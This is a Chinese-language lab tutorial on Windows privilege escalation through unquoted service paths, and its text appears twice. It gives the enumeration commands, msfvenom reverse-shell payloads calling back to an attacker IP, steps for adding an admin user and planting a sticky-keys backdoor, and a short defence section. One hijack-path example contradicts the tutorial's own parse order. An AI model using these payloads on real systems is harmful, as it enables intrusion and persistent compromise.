通过Unquoted service Path进行Windows提权
字数 1557 2025-08-29 08:32:24

Windows提权:利用未加引号的服务路径漏洞

漏洞概述

未加引号的服务路径(Unquoted Service Path)是Windows系统中一种常见的权限提升漏洞。当Windows服务的可执行文件路径包含空格且未用引号括起来时,系统会按照特定顺序尝试解析路径,攻击者可以利用这一特性实现权限提升。

漏洞原理

Windows服务在启动时,如果其路径包含空格且未被引号括起来,系统会按照以下顺序尝试解析路径:

  1. 从路径开头开始,遇到空格就尝试作为完整路径执行
  2. 如果失败,则继续向后查找下一个空格,再次尝试
  3. 直到找到正确的可执行文件为止

例如,对于路径 C:\Program Files\Photodex\ProShow Producer\Scsiaccess.exe,系统会依次尝试:

  • C:\Program.exe
  • C:\Program Files\Photodex\ProShow.exe
  • C:\Program Files\Photodex\ProShow Producer\Scsiaccess.exe

如果攻击者能够在其中一个中间位置(如C:\Program Files\)写入恶意文件(如Photodex.exe),当服务重启时,系统会优先执行这个恶意文件而非原始文件。

环境准备

受害者机器

  • 操作系统:Windows 7
  • 安装有漏洞的应用程序:Photodex ProShow (可从Exploit-DB下载)

攻击者机器

  • Kali Linux

漏洞利用步骤

1. 获取初始访问权限

首先需要获取目标系统的meterpreter会话,可以通过各种渗透测试方法实现。

2. 枚举存在漏洞的服务

在获取meterpreter会话后,打开命令shell,执行以下命令枚举可能存在漏洞的服务:

wmic service get name,displayname,pathname,startmode | findstr /i "auto" | findstr /i /v "c:\windows\\" | findstr /i /v """

这条命令会列出:

  • 自动启动的服务
  • 不在Windows目录下的服务
  • 路径未加引号的服务

3. 检查文件权限

找到可疑服务后,检查其所在目录的权限:

icacls "C:\Program Files\Photodex\ProShow Producer\Scsiaccess.exe"

如果发现"Everyone"或当前用户有写入权限,则存在利用可能。

4. 生成恶意payload

在Kali Linux上使用msfvenom生成恶意可执行文件:

方法一:使用Prepend-migrate保持会话

msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.1.107 LPORT=1234 PrependMigrate=true PrependMigrateProcess=explorer.exe -f exe > /root/Desktop/scsiaccess.exe

参数说明:

  • PrependMigrate=true:如果当前进程被杀,payload会迁移到其他进程
  • PrependMigrateProcess=explorer.exe:指定迁移目标进程为explorer.exe

方法二:添加用户到管理员组

msfvenom -p windows/exec CMD='net localgroup administrators raaz /add' -f exe > /root/Desktop/scsiaccess.exe

方法三:启用RDP和粘滞键后门

msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.1.107 LPORT=1234 -f exe > /root/Desktop/scsiaccess.exe

5. 替换原始文件

在meterpreter会话中执行:

move scsiaccess.exe scsiaccess.exe.original
upload /root/Desktop/scsiaccess.exe

6. 设置监听器

在Kali上启动multi/handler监听器:

use exploit/multi/handler
set payload windows/meterpreter/reverse_tcp
set LHOST 192.168.1.107
set LPORT 1234

根据需求选择附加功能:

启用RDP功能

set AutoRunScript post/windows/manage/enable_rdp

启用粘滞键后门

set AutoRunScript post/windows/manage/sticky_keys

然后执行:

exploit

7. 触发漏洞

重启目标机器或重启服务,系统会加载恶意文件。

8. 获取权限

  • 对于方法一:直接获得meterpreter会话的管理权限
  • 对于方法二:用户"raaz"将被添加到管理员组
  • 对于方法三:可以通过RDP连接(使用mstsc)或连续按5次Shift键触发粘滞键后门

防御措施

  1. 正确引用服务路径:在服务配置中,确保所有包含空格的可执行路径都用引号括起来
  2. 最小权限原则:限制对程序目录的写入权限,特别是系统关键目录
  3. 定期审计:使用工具扫描系统中的未加引号服务路径
  4. 使用安全产品:部署能够检测和阻止此类攻击的安全解决方案

总结

未加引号的服务路径漏洞是一种常见的Windows权限提升技术,利用系统解析可执行文件路径的方式实现权限提升。防御此类攻击的关键在于正确的服务配置和严格的权限控制。系统管理员应定期检查服务配置,确保所有包含空格的服务路径都被正确引用。

Windows提权:利用未加引号的服务路径漏洞 漏洞概述 未加引号的服务路径(Unquoted Service Path)是Windows系统中一种常见的权限提升漏洞。当Windows服务的可执行文件路径包含空格且未用引号括起来时,系统会按照特定顺序尝试解析路径,攻击者可以利用这一特性实现权限提升。 漏洞原理 Windows服务在启动时,如果其路径包含空格且未被引号括起来,系统会按照以下顺序尝试解析路径: 从路径开头开始,遇到空格就尝试作为完整路径执行 如果失败,则继续向后查找下一个空格,再次尝试 直到找到正确的可执行文件为止 例如,对于路径 C:\Program Files\Photodex\ProShow Producer\Scsiaccess.exe ,系统会依次尝试: C:\Program.exe C:\Program Files\Photodex\ProShow.exe C:\Program Files\Photodex\ProShow Producer\Scsiaccess.exe 如果攻击者能够在其中一个中间位置(如 C:\Program Files\ )写入恶意文件(如 Photodex.exe ),当服务重启时,系统会优先执行这个恶意文件而非原始文件。 环境准备 受害者机器 操作系统:Windows 7 安装有漏洞的应用程序:Photodex ProShow (可从Exploit-DB下载) 攻击者机器 Kali Linux 漏洞利用步骤 1. 获取初始访问权限 首先需要获取目标系统的meterpreter会话,可以通过各种渗透测试方法实现。 2. 枚举存在漏洞的服务 在获取meterpreter会话后,打开命令shell,执行以下命令枚举可能存在漏洞的服务: 这条命令会列出: 自动启动的服务 不在Windows目录下的服务 路径未加引号的服务 3. 检查文件权限 找到可疑服务后,检查其所在目录的权限: 如果发现"Everyone"或当前用户有写入权限,则存在利用可能。 4. 生成恶意payload 在Kali Linux上使用msfvenom生成恶意可执行文件: 方法一:使用Prepend-migrate保持会话 参数说明: PrependMigrate=true :如果当前进程被杀,payload会迁移到其他进程 PrependMigrateProcess=explorer.exe :指定迁移目标进程为explorer.exe 方法二:添加用户到管理员组 方法三:启用RDP和粘滞键后门 5. 替换原始文件 在meterpreter会话中执行: 6. 设置监听器 在Kali上启动multi/handler监听器: 根据需求选择附加功能: 启用RDP功能 启用粘滞键后门 然后执行: 7. 触发漏洞 重启目标机器或重启服务,系统会加载恶意文件。 8. 获取权限 对于方法一:直接获得meterpreter会话的管理权限 对于方法二:用户"raaz"将被添加到管理员组 对于方法三:可以通过RDP连接(使用mstsc)或连续按5次Shift键触发粘滞键后门 防御措施 正确引用服务路径 :在服务配置中,确保所有包含空格的可执行路径都用引号括起来 最小权限原则 :限制对程序目录的写入权限,特别是系统关键目录 定期审计 :使用工具扫描系统中的未加引号服务路径 使用安全产品 :部署能够检测和阻止此类攻击的安全解决方案 总结 未加引号的服务路径漏洞是一种常见的Windows权限提升技术,利用系统解析可执行文件路径的方式实现权限提升。防御此类攻击的关键在于正确的服务配置和严格的权限控制。系统管理员应定期检查服务配置,确保所有包含空格的服务路径都被正确引用。